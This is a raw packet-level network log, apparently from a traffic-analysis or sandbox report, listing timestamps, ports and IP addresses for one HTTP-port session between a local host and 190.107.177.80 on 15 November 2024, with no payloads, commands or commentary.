Nov 15, 2024 09:10:25.095640898 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095648050 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095693111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095729113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095745087 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095767021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095799923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095814943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095837116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095871925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095887899 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095906973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095942974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095952988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098164082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098218918 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098231077 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098253965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098305941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098354101 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098356962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098392010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098398924 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098427057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098464012 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098512888 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098521948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098557949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098572016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098592997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098627090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098654032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098680019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098721981 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098733902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098762989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098798037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098809004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098853111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098900080 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.098905087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098959923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.098999023 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099011898 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099051952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099087000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099093914 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099123955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099153996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099188089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099205971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099241972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099275112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099288940 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099306107 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099345922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099399090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099436045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099445105 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099488974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099524975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099575996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099586010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099622011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099632025 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099657059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099692106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099698067 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099725962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099765062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099785089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099795103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099828959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099833012 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099864960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099896908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099908113 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099932909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099962950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.099971056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.099997997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.100033998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.100047112 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.100068092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.100102901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.100157976 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.125843048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125893116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125904083 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125931025 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.125960112 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.125963926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125974894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125986099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.125997066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126007080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126010895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.126039982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.126161098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126172066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126183033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126194000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126199961 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.126207113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126218081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.126250029 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.126311064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126322985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126333952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.126363993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.158638000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158694029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158723116 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.158762932 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158798933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158848047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.158853054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158889055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158895016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.158922911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158958912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.158993959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159002066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.159027100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159079075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.159581900 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159615993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159641027 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.159651995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159686089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159734964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.159914970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159949064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.159964085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.159986019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.160018921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.160064936 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.200810909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.200858116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.200887918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.200894117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.200962067 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212302923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212341070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212395906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212412119 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212433100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212469101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212501049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212517977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212537050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212544918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212574005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212609053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212621927 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212646008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212682962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212709904 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212718010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212753057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212755919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212824106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212858915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212893963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212912083 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212932110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.212934971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.212966919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213006973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213016987 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.213021040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213059902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213083982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.213089943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213145971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213179111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213201046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.213212967 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.213226080 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.215701103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215737104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215763092 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.215790987 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215837002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.215842962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215881109 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215914965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215935946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215948105 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.215951920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215970993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.215976000 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216012955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216021061 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216047049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216063976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216075897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216085911 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216094971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216135025 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216152906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216173887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216193914 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216247082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216259956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216270924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216281891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216295004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216325998 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216406107 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216417074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216428041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216450930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216471910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216474056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216484070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216495037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216526985 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216600895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216612101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216623068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216644049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216660023 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216717005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216730118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216741085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216753006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216763973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216764927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216794968 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216861963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216873884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216886044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216897011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216907024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.216908932 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.216943979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.217082024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217093945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217104912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217114925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217124939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.217125893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217163086 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.217186928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.217307091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243062973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243076086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243087053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243103981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243115902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243141890 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243161917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243186951 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243211031 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243294001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243343115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243355036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243396044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243478060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243489981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243516922 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243587971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243599892 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243611097 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243618011 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243623972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243633986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.243657112 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.243668079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276443005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276521921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276561022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276590109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276597023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276629925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276654005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276664019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276676893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276680946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276700974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276715040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276725054 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276726961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276750088 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276818991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276863098 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.276894093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276910067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276974916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.276988983 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.277024031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.277030945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.277050018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.277061939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.277065039 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.277081966 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.316754103 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330147028 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330163956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330177069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330228090 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330254078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330265999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330280066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330291986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330297947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330318928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330488920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330501080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330513000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330523014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330528021 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330534935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330545902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330547094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330558062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330578089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330607891 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330775976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330787897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330797911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330810070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330821991 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330858946 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330923080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330934048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330975056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330981016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.330987930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.330998898 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.331037045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.331110954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.331150055 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.331187963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.331198931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.331357956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.332865953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333050013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.333060980 CET	80	49795	190.107.177.80	192.168.2.10
